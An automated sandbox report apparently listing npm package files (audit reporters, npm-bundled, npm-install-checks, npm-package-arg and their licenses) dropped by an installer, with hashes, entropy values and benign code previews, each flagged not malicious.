SHA-512:	A070B5E3CB43DC9BEF92CD9F334845CFF40C10EA9E9D2A2F6E0FECC25242FD58E481634AD6B965417B0AB7D3BFFB22F6966E0700664FC7199C5053FBDB14C4C8
Malicious:	false
Preview:	'use strict'..const reporters = {. install: require('./reporters/install'),. detail: require('./reporters/detail'),. json: require('./reporters/json'),. quiet: require('./reporters/quiet'),.}..const exitCode = require('./exit-code.js')..module.exports = Object.assign((data, options = {}) => {. const {. reporter = 'install',. chalk,. unicode = true,. indent = 2,. } = options.. // CLI defaults this to `null` so the defaulting method above doesn't work. const auditLevel = options.auditLevel \|\| 'low'.. if (!data) {. throw Object.assign(. new TypeError('ENOAUDITDATA'),. {. code: 'ENOAUDITDATA',. message: 'missing audit data',. }. ). }.. if (typeof data.toJSON === 'function') {. data = data.toJSON(). }.. return {. report: reporters[reporter](data, { chalk, unicode, indent }),. exitCode: exitCode(data, auditLevel),. }.}, { reporters }).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-audit-report\lib\reporters\detail.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2405
Entropy (8bit):	4.713715066115983
Encrypted:	false
SSDEEP:	48:H4+p5UhtO3YJQNck0flZJBFCvP6AMVRF/UyDn6GRCkFIcDx4OWVVt/Puvdz3f:HnTYMOQNck0jJBMX6vVnb/D94FNuv5
MD5:	1D7F94197C55E7523EB5537313BA9F14
SHA1:	43156FDD3AC8ADCB9C939C1D3B95A370158BBAF8
SHA-256:	362252940707C9669E5105CD1D921710457A94E649C019FB92843135B181C7E2
SHA-512:	CB4FA1521BAE52F0806A6E63D6AEAFDF0A1CAE473466834F8F5C1DA1DF5658B9635BFEB8638A6A20806BDC95102C1D06500D4B34A8843460BBADC9DF23764AC7
Malicious:	false
Preview:	'use strict'..const colors = require('../colors.js').const install = require('./install.js')..module.exports = (data, { chalk }) => {. const summary = install.summary(data, { chalk }). const none = data.metadata.vulnerabilities.total === 0. return none ? summary : fullReport(data, { chalk, summary }).}..const fullReport = (data, { chalk, summary }) => {. const c = colors(chalk). const output = [c.white('# npm audit report'), ''].. const printed = new Set(). for (const [, vuln] of Object.entries(data.vulnerabilities)) {. // only print starting from the top-level advisories. if (vuln.via.filter(v => typeof v !== 'string').length !== 0) {. output.push(printVuln(vuln, c, data.vulnerabilities, printed)). }. }.. output.push(summary).. return output.join('\n').}..const printVuln = (vuln, c, vulnerabilities, printed, indent = '') => {. if (printed.has(vuln)) {. return null. }.. printed.add(vuln). const output = [].. output.push(c.white(vuln.name) + ' ' + vuln.r

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-audit-report\lib\reporters\install.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2431
Entropy (8bit):	4.718635151085769
Encrypted:	false
SSDEEP:	48:MODGC9fVZ/dp/Wa1jx/wimnXtR/W6UyVmZc7ykdq92fKRTKUXZPXi:1ZVZlppjx4iUdVWCVt7ykWJJPy
MD5:	6F5B29FFCAD209E907C37E2C3C991F68
SHA1:	F45FEDAD6157EE18DC2EDF501D778AEBDF574312
SHA-256:	8950FD273351E94E33D424D9FD709905D738F31FA042D52EC9AEF729BDA143E9
SHA-512:	4DC8ABE138D315295EBEC4F9C73C15A2D48B0E44496F20FAF1B18763A168F88CA306C0DCAABE9934E21C73C237583835FF693643F5FE7D4B04D0CBD5B4003101
Malicious:	false
Preview:	const colors = require('../colors.js')..const calculate = (data, { chalk }) => {. const c = colors(chalk). const output = []. const { metadata: { vulnerabilities } } = data. const vulnCount = vulnerabilities.total.. let someFixable = false. let someForceFixable = false. let forceFixSemVerMajor = false. let someUnfixable = false.. if (vulnCount === 0) {. output.push(`found ${c.green('0')} vulnerabilities`). } else {. for (const [, vuln] of Object.entries(data.vulnerabilities)) {. const { fixAvailable } = vuln. someFixable = someFixable \|\| fixAvailable === true. someUnfixable = someUnfixable \|\| fixAvailable === false. if (typeof fixAvailable === 'object') {. someForceFixable = true. forceFixSemVerMajor = forceFixSemVerMajor \|\| fixAvailable.isSemVerMajor. }. }. const total = vulnerabilities.total. const sevs = Object.entries(vulnerabilities).filter(([s, count]) => {. return (s === 'low' \|\| s === 'moderate' \|\| s === 'high

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-audit-report\lib\reporters\json.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	74
Entropy (8bit):	4.578800791299243
Encrypted:	false
SSDEEP:	3:3BBBbxlaZFYMibyiclAMBAlMvn:xBB6ZFYM+Fcrwun
MD5:	5DDA2647D6572F0B749830786ED44ACC
SHA1:	EFC0E919AB55F978321019720F1DA22EB4271EAC
SHA-256:	F7F450434517C15D0A3581FCE3EE3F40C3F9645F64CA39F421B8556DA4AE0D16
SHA-512:	743FC38902A75416B57A579AE305FF22EC8A7BF4928BAB1C5B87D03A843BE18C1D60BFC6D10A1709BDCDCE0D5DF2213C5DFCAC2DFED4D43DC51A143D3B1E09E8
Malicious:	false
Preview:	module.exports = (data, { indent }) => JSON.stringify(data, null, indent).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-audit-report\lib\reporters\quiet.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	26
Entropy (8bit):	4.085055102756477
Encrypted:	false
SSDEEP:	3:3BBBb8/s:xBBo/s
MD5:	621EC4EA22414B1386B5F21267225A49
SHA1:	6046163A4A8C6E17F84A9D3BC9A49BEACF713B81
SHA-256:	2A932A8B0FE058E2804805ED1745B2C2281D4FDD4A2D7681F7C27712782DA00F
SHA-512:	FDF9C449E9F61DBA483D85F0A9C3F2DDC5F53832AC3E2CBD7F1C7EF56A90512B9DF88CF7B27374D176D95BA2A1A89AE8226E51A50D58ABEBF41768F361BAE9A7
Malicious:	false
Preview:	module.exports = () => ''.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-audit-report\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1430
Entropy (8bit):	4.685056155265087
Encrypted:	false
SSDEEP:	24:l1CVGrSLPYKFw1eyiHIAYLKxC8LIFhQCu23JRGCZ3cdgeJo631mCr:PCeSLPYF1eVfpC8sPQmvZ3caefFmQ
MD5:	44E3266E4DB17131A2AF5CFF2CE60BC8
SHA1:	65B68833B01E83B5E3A22621BD4BA0C362FAEF02
SHA-256:	29E6EC954244810F83658385A89E54329DDFD6BE9EB099C4EBAAE57D952E1EDE
SHA-512:	A5F6C6071B25C7F4954584425F5E6AB85F5D2B11E291B7090C7413B31FF641944EBDD677A5CE365C7546524D78CB569F2B76CC3E15C32177A4F041B254EF440D
Malicious:	false
Preview:	{. "name": "npm-audit-report",. "version": "5.0.0",. "description": "Given a response from the npm security api, render it into a variety of security reports",. "main": "lib/index.js",. "scripts": {. "test": "tap",. "snap": "tap",. "lint": "eslint \"*/.js\"",. "postlint": "template-oss-check",. "template-oss-apply": "template-oss-apply --force",. "lintfix": "npm run lint -- --fix",. "posttest": "npm run lint". },. "tap": {. "check-coverage": true,. "coverage-map": "map.js",. "nyc-arg": [. "--exclude",. "tap-snapshots/**". ]. },. "keywords": [. "npm",. "security",. "report",. "audit". ],. "author": "GitHub Inc.",. "license": "ISC",. "devDependencies": {. "@npmcli/eslint-config": "^4.0.0",. "@npmcli/template-oss": "4.14.1",. "chalk": "^5.2.0",. "tap": "^16.0.0". },. "directories": {. "lib": "lib",. "test": "test". },. "repository": {. "type": "git",. "url": "https://github.com/npm/npm-audit-

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-bundled\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	756
Entropy (8bit):	4.9882298375740355
Encrypted:	false
SSDEEP:	12:9FMUHVTES4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:9rpICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	FF53DF3AD94E5C618E230AB49CE310FA
SHA1:	A0296AF210B0F3DC0016CB0CEEE446EA4B2DE70B
SHA-256:	EC361617C0473D39347B020EAA6DCEEDAEBAB43879FA1CD8B8F0F97A8E80A475
SHA-512:	876B0BD6A10F852661818D5048543BB37389887BF721016B6B7D1FA6D59D230D06F8FF68A59A59F03C25FBC80A2CBB210E7CA8179F111ECD10929B25B3D5CDFE
Malicious:	false
Preview:	The ISC License..Copyright (c) npm, Inc. and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-bundled\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6506
Entropy (8bit):	4.619375863847205
Encrypted:	false
SSDEEP:	192:fia4327ceQEQ0VJUDQ8ePtB9KEv1871n8pQ8Zuk7KqV+poUxYBZZv:fiak27cR8VO4wZGpKIU6BZZv
MD5:	548137573A47828FCD0559D6E7F4A3D6
SHA1:	0CC61F00D12350B36A0868D8E7F5A44ADD62DD1F
SHA-256:	F135D5F1C21CAA59C5D0A6B0E59E18D5099002AF537CA7A263E64BA02A2A976D
SHA-512:	4F248A97019994BB7E155B2BA4732A02E437F14075149697B0F986BE6C5D985FF9E4D42368E796CCD7390A63C2E7B154811F7B01DEB39666652FC6C6D2F7A021
Malicious:	false
Preview:	'use strict'..// walk the tree of deps starting from the top level list of bundled deps.// Any deps at the top level that are depended on by a bundled dep that.// does not have that dep in its own node_modules folder are considered.// bundled deps as well. This list of names can be passed to npm-packlist.// as the "bundled" argument. Additionally, packageJsonCache is shared so.// packlist doesn't have to re-read files already consumed in this pass..const fs = require('fs').const path = require('path').const EE = require('events').EventEmitter.// we don't care about the package bins, but we share a pj cache.// with other modules that DO care about it, so keep it nice..const normalizePackageBin = require('npm-normalize-package-bin')..class BundleWalker extends EE {. constructor (opt) {. opt = opt \|\| {}. super(opt). this.path = path.resolve(opt.path \|\| process.cwd()).. this.parent = opt.parent \|\| null. if (this.parent) {. this.result = this.parent.result. // on

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-bundled\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1207
Entropy (8bit):	4.725867351353186
Encrypted:	false
SSDEEP:	24:Dr14NpS8pIC8LIFhShFlJ9KFw1ehPF4ygeJo631OzYr:DB4bVIC8sP2J9F1ehPIefFSe
MD5:	F2280082414371875EFF8B1163502D9D
SHA1:	DD4332E1FBC24EB44596410BC37AEDC27F51A39E
SHA-256:	53B4F469C2A459CCCAC60CBF50B5A3EF9EFDEAA022DC4FA08D349DC26BE83926
SHA-512:	1D1DF17F8D78F539A4F2C1C3C8F611925EE24E0C8F9E473019F21D5C906BF334077AC1B369EA25FE9C6094D1A4799E3F7BF2548EB8658BDA5B8678024CA73B1D
Malicious:	false
Preview:	{. "name": "npm-bundled",. "version": "3.0.0",. "description": "list things in node_modules that are bundledDependencies, or transitive dependencies thereof",. "main": "lib/index.js",. "repository": {. "type": "git",. "url": "https://github.com/npm/npm-bundled.git". },. "author": "GitHub Inc.",. "license": "ISC",. "devDependencies": {. "@npmcli/eslint-config": "^4.0.0",. "@npmcli/template-oss": "4.5.1",. "mkdirp": "^1.0.4",. "mutate-fs": "^2.1.1",. "rimraf": "^3.0.2",. "tap": "^16.3.0". },. "scripts": {. "test": "tap",. "lint": "eslint \"*/.js\"",. "postlint": "template-oss-check",. "template-oss-apply": "template-oss-apply --force",. "lintfix": "npm run lint -- --fix",. "snap": "tap",. "posttest": "npm run lint". },. "files": [. "bin/",. "lib/". ],. "dependencies": {. "npm-normalize-package-bin": "^3.0.0". },. "engines": {. "node": "^14.17.0 \|\| ^16.13.0 \|\| >=18.0.0". },. "templateOSS": {. "//@npmcli/templ

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-install-checks\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	5.136341255305027
Encrypted:	false
SSDEEP:	24:qSZp8uZUnogbOIhrYFT5JyhrYFTX7981432sQEO3dFROd32sZyxtT41BtGW+ZqcL:ZS3OorYJCrYJB81432sE432sZEt01Btk
MD5:	A509D5E6A5B1B1583CE07F713FE0D628
SHA1:	CE72654DEA747A8C04D1882A2015F63EF54813B5
SHA-256:	F674630C4D3E668DABAC6D955FB5F74C75B4A63A707AC93A8833B74BDC57221E
SHA-512:	00E755A08DC1AC1F652308F3444FBEE2EEA60C89F7A081F1FECC6CFA6F9C30367D1144B4407A96E334E8A29C2D462DA32ED31949027A946D7928C4C155B8951E
Malicious:	false
Preview:	Copyright (c) Robert Kowalski and Isaac Z. Schlueter ("Authors").All rights reserved...The BSD License..Redistribution and use in source and binary forms, with or without.modification, are permitted provided that the following conditions.are met:..1. Redistributions of source code must retain the above copyright. notice, this list of conditions and the following disclaimer...2. Redistributions in binary form must reproduce the above copyright. notice, this list of conditions and the following disclaimer in the. documentation and/or other materials provided with the distribution...THIS SOFTWARE IS PROVIDED BY THE AUTHORS AND CONTRIBUTORS ``AS IS'' AND.ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE.IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR.PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS.BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR.CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PR

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-install-checks\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2705
Entropy (8bit):	4.663359781229
Encrypted:	false
SSDEEP:	48:bFFmX0z3HCNXHGO4o/m4WzsVPfjeQhmJcX5kXpKLBs5yB5hY9ZqwA7ha:bFskzgWRalWAVPre6JkXMLBs5o5hWswl
MD5:	5E894EBAEED97FB21560871975FB6BC3
SHA1:	017A9F76B2D7A0FA65E22E03550329C4F5C339F2
SHA-256:	F293ADB7D15F20015BB3D47D156387A2CDF6D22BB173E2B211EA03D8CB1295F6
SHA-512:	6921AB3196E82118FF24AB28151229B66AFC175CDA133A15A02F9321FE134DB69B141F9FAAFF978EBC0ECE9602DAFF54EA7918D3B81EB83AB8EEC376E6A7041B
Malicious:	false
Preview:	const semver = require('semver')..const checkEngine = (target, npmVer, nodeVer, force = false) => {. const nodev = force ? null : nodeVer. const eng = target.engines. const opt = { includePrerelease: true }. if (!eng) {. return. }.. const nodeFail = nodev && eng.node && !semver.satisfies(nodev, eng.node, opt). const npmFail = npmVer && eng.npm && !semver.satisfies(npmVer, eng.npm, opt). if (nodeFail \|\| npmFail) {. throw Object.assign(new Error('Unsupported engine'), {. pkgid: target._id,. current: { node: nodeVer, npm: npmVer },. required: eng,. code: 'EBADENGINE',. }). }.}..const isMusl = (file) => file.includes('libc.musl-') \|\| file.includes('ld-musl-')..const checkPlatform = (target, force = false, environment = {}) => {. if (force) {. return. }.. const platform = environment.os \|\| process.platform. const arch = environment.cpu \|\| process.arch. const osOk = target.os ? checkList(platform, target.os) : true. const cpuOk = target.cpu ? ch

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-install-checks\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1169
Entropy (8bit):	4.706465084833645
Encrypted:	false
SSDEEP:	24:I1OR5oI08LIFhvW9KFw1ehPFDmVu6gMJo631QZIYr:wOox8sPe9F1ehPxA0MfFQqe
MD5:	909C7290E7CC93E312804FD5CF0B694A
SHA1:	CC69F6252A94500D261597E780B70F72C9EDE810
SHA-256:	2A6EE2635151A1ADB941ACC65ABBC4C1B20B97D9B5E3247797188CB0F9B4B4D8
SHA-512:	1EF3D54295ABD3611FB969A3F1873A80499D66F4FE89B26671F19F9456647F8715CA99207CE153929033A9EDCFD478D71FB193589368BC23F7B5119068FEA737
Malicious:	false
Preview:	{. "name": "npm-install-checks",. "version": "6.3.0",. "description": "Check the engines and platform fields in package.json",. "main": "lib/index.js",. "dependencies": {. "semver": "^7.1.1". },. "devDependencies": {. "@npmcli/eslint-config": "^4.0.0",. "@npmcli/template-oss": "4.19.0",. "tap": "^16.0.1". },. "scripts": {. "test": "tap",. "lint": "eslint \"*/.js\"",. "postlint": "template-oss-check",. "template-oss-apply": "template-oss-apply --force",. "lintfix": "npm run lint -- --fix",. "snap": "tap",. "posttest": "npm run lint". },. "repository": {. "type": "git",. "url": "https://github.com/npm/npm-install-checks.git". },. "keywords": [. "npm,",. "install". ],. "license": "BSD-2-Clause",. "files": [. "bin/",. "lib/". ],. "engines": {. "node": "^14.17.0 \|\| ^16.13.0 \|\| >=18.0.0". },. "author": "GitHub Inc.",. "templateOSS": {. "//@npmcli/template-oss": "This file is partially managed by @npmcli/template-

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-normalize-package-bin\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	739
Entropy (8bit):	4.9754464628259765
Encrypted:	false
SSDEEP:	12:9FMUnXS4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3ew:9LCICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	89966567781EE3DC29AECA2D18A59501
SHA1:	A6D614386E4974EEF58B014810F00D4ED1881575
SHA-256:	898C2BCFF663681498AD1CA8235D45B6E70B10CDF1F869A5B5E69F6E46EFEDD3
SHA-512:	602DD09BE2544542A46083E71A6E43FEFC99EB884BDD705F629F8B4BF49192C6F8C482CD6A490397AFDE100BE9347524079ABB4C6D18BDA3F64CF2FB77D2FE4C
Malicious:	false
Preview:	The ISC License..Copyright (c) npm, Inc...Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-normalize-package-bin\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1346
Entropy (8bit):	4.784577152544583
Encrypted:	false
SSDEEP:	24:gZ0WNWkUK1FXc8F3oaeNhFajFpocs4yTGWCp/3NSEfEGb0B0:MfcMVc8d+hcj4csOx0YE80G
MD5:	63206DA08E529BCDD83F2BF0F191A42D
SHA1:	75ECAF8CDC6F2AFEF112C9782E74E53DC59D6130
SHA-256:	5D5FB5CAE6D9C04079C01E6E1978DE69D19C77FF160F523DF462D08BCA44B2DD
SHA-512:	806581F88E4B4E43235B1F4FE67B337E7497CBBADB97B5EF64E505AFE0CDC4B1243EF6098DB61DB8C8228E2CE7CEC681E6E32B0547DE7F7ADB6626364E36AAEB
Malicious:	false
Preview:	// pass in a manifest with a 'bin' field here, and it'll turn it.// into a properly santized bin object.const { join, basename } = require('path')..const normalize = pkg =>. !pkg.bin ? removeBin(pkg). : typeof pkg.bin === 'string' ? normalizeString(pkg). : Array.isArray(pkg.bin) ? normalizeArray(pkg). : typeof pkg.bin === 'object' ? normalizeObject(pkg). : removeBin(pkg)..const normalizeString = pkg => {. if (!pkg.name) {. return removeBin(pkg). }. pkg.bin = { [pkg.name]: pkg.bin }. return normalizeObject(pkg).}..const normalizeArray = pkg => {. pkg.bin = pkg.bin.reduce((acc, k) => {. acc[basename(k)] = k. return acc. }, {}). return normalizeObject(pkg).}..const removeBin = pkg => {. delete pkg.bin. return pkg.}..const normalizeObject = pkg => {. const orig = pkg.bin. const clean = {}. let hasBins = false. Object.keys(orig).forEach(binKey => {. const base = join('/', basename(binKey.replace(/\\\|:/g, '/'))).slice(1).. if (typeof orig[binKey] !== 'string'

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-normalize-package-bin\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1096
Entropy (8bit):	4.7347446077591115
Encrypted:	false
SSDEEP:	24:tvr1X2DtD6UPYKFw1eye8LIFhQCe2geJo631mCmZIYr:dBXmGUPYF1eL8sPQvefFmTqe
MD5:	18F886552A03D49ED0D3F6615D8F4254
SHA1:	6A20E531EF2B5054446AF15FF4E4AC2B812F3A43
SHA-256:	859842BC95C994E539EFBB0EC249BF11576ADF03F69E6E83EA446EAB98997F1C
SHA-512:	76DE342D033E215B6B3D33356E70987B987F0FB8E5532BF9D519B2AA53245C27F71D2179DF2BDA9F560B93D9F82AD063792820A4D696CEC58A587349BC3DC44A
Malicious:	false
Preview:	{. "name": "npm-normalize-package-bin",. "version": "3.0.1",. "description": "Turn any flavor of allowable package.json bin into a normalized object",. "main": "lib/index.js",. "repository": {. "type": "git",. "url": "https://github.com/npm/npm-normalize-package-bin.git". },. "author": "GitHub Inc.",. "license": "ISC",. "scripts": {. "test": "tap",. "snap": "tap",. "lint": "eslint \"*/.js\"",. "postlint": "template-oss-check",. "template-oss-apply": "template-oss-apply --force",. "lintfix": "npm run lint -- --fix",. "posttest": "npm run lint". },. "devDependencies": {. "@npmcli/eslint-config": "^4.0.0",. "@npmcli/template-oss": "4.14.1",. "tap": "^16.3.0". },. "files": [. "bin/",. "lib/". ],. "engines": {. "node": "^14.17.0 \|\| ^16.13.0 \|\| >=18.0.0". },. "templateOSS": {. "//@npmcli/template-oss": "This file is partially managed by @npmcli/template-oss. Edits may be overwritten.",. "version": "4.14.1",. "publish":

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-package-arg\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	739
Entropy (8bit):	4.9754464628259765
Encrypted:	false
SSDEEP:	12:9FMUnXS4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3ew:9LCICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	89966567781EE3DC29AECA2D18A59501
SHA1:	A6D614386E4974EEF58B014810F00D4ED1881575
SHA-256:	898C2BCFF663681498AD1CA8235D45B6E70B10CDF1F869A5B5E69F6E46EFEDD3
SHA-512:	602DD09BE2544542A46083E71A6E43FEFC99EB884BDD705F629F8B4BF49192C6F8C482CD6A490397AFDE100BE9347524079ABB4C6D18BDA3F64CF2FB77D2FE4C
Malicious:	false
Preview:	The ISC License..Copyright (c) npm, Inc...Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-package-arg\lib\npa.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	12477
Entropy (8bit):	4.93878344741827
Encrypted:	false
SSDEEP:	384:1Gbh8by6vbrHXUxR6th7fkybz4QW+iuI7lNUqUH4ze:bby6vb7rfRFbI7lNpa4ze
MD5:	420A7321493B44F3A2FE341C03D15543
SHA1:	0B9CD18A5280531ADF3265B0E935AD51421B1C59
SHA-256:	42997FF50034C4CAB8390F941EB2C92E5037E12A4EA816C55570F6A9E0D954AC
SHA-512:	26B12644EBD48E283596E61C374634D2A2F7FD4B429141868E6A120808CA54DAE1E64F228E836A382889C0FBBC4F61A72C705CBA3E85D4C29AB9E60D2A409C27
Malicious:	false
Preview:	'use strict'.module.exports = npa.module.exports.resolve = resolve.module.exports.toPurl = toPurl.module.exports.Result = Result..const { URL } = require('url').const HostedGit = require('hosted-git-info').const semver = require('semver').const path = global.FAKE_WINDOWS ? require('path').win32 : require('path').const validatePackageName = require('validate-npm-package-name').const { homedir } = require('os').const log = require('proc-log')..const isWindows = process.platform === 'win32' \|\| global.FAKE_WINDOWS.const hasSlashes = isWindows ? /\\\|[/]/ : /[/]/.const isURL = /^(?:git[+])?[a-z]+:/i.const isGit = /^[^@]+@[^:.]+\.[^:]+:.+$/i.const isFilename = /[.](?:tgz\|tar.gz\|tar)$/i..function npa (arg, where) {. let name. let spec. if (typeof arg === 'object') {. if (arg instanceof Result && (!where \|\| where === arg.where)) {. return arg. } else if (arg.name && arg.rawSpec) {. return npa.resolve(arg.name, arg.rawSpec, where \|\| arg.where). } else {. return npa(arg

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-package-arg\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1576
Entropy (8bit):	4.685246987452486
Encrypted:	false
SSDEEP:	48:EWe0+V8sPtRPYzen2FWVwNd0LfFTn/snR:O0+V8StgenCW2D0L5u
MD5:	7F372F304928CE6E96CC9B265BD724E5
SHA1:	B29A7A0DEEA4C0CDD60D6A3922BBAE6B1CDE76FE
SHA-256:	DCD1C389504D6B98CA54556443A65CE6697FD304F0FFA85AFD1AB0C5F8EFE0CB
SHA-512:	9A5ED311FCCD4367F793C3262C4E3B65DC939CDC287EDAE7F6CD1EE5DE92E5CA8984649329D554C4DA22A70B063DCBCCB0324E5BA08F438F194B55B4CED8F65C
Malicious:	false
Preview:	{. "name": "npm-package-arg",. "version": "11.0.1",. "description": "Parse the things that can be arguments to `npm install`",. "main": "./lib/npa.js",. "directories": {. "test": "test". },. "files": [. "bin/",. "lib/". ],. "dependencies": {. "hosted-git-info": "^7.0.0",. "proc-log": "^3.0.0",. "semver": "^7.3.5",. "validate-npm-package-name": "^5.0.0". },. "devDependencies": {. "@npmcli/eslint-config": "^4.0.0",. "@npmcli/template-oss": "4.18.0",. "tap": "^16.0.1". },. "scripts": {. "test": "tap",. "snap": "tap",. "npmclilint": "npmcli-lint",. "lint": "eslint \"*/.js\"",. "lintfix": "npm run lint -- --fix",. "posttest": "npm run lint",. "postsnap": "npm run lintfix --",. "postlint": "template-oss-check",. "template-oss-apply": "template-oss-apply --force". },. "repository": {. "type": "git",. "url": "https://github.com/npm/npm-package-arg.git". },. "author": "GitHub Inc.",. "license": "ISC",. "bugs": {

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-packlist\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	765
Entropy (8bit):	4.999520559493967
Encrypted:	false
SSDEEP:	12:9FM9Z7TES4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:9SZvICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	82703A69F6D7411DDE679954C2FD9DCA
SHA1:	BB408E929CAEB1731945B2BA54BC337EDB87CC66
SHA-256:	4EC3D4C66CD87F5C8D8AD911B10F99BF27CB00CDFCFF82621956E379186B016B
SHA-512:	3FA748E59FB3AF0C5293530844FAA9606D9271836489D2C8013417779D10CC180187F5E670477F9EC77D341E0EF64EAB7DCFB876C6390F027BC6F869A12D0F46
Malicious:	false
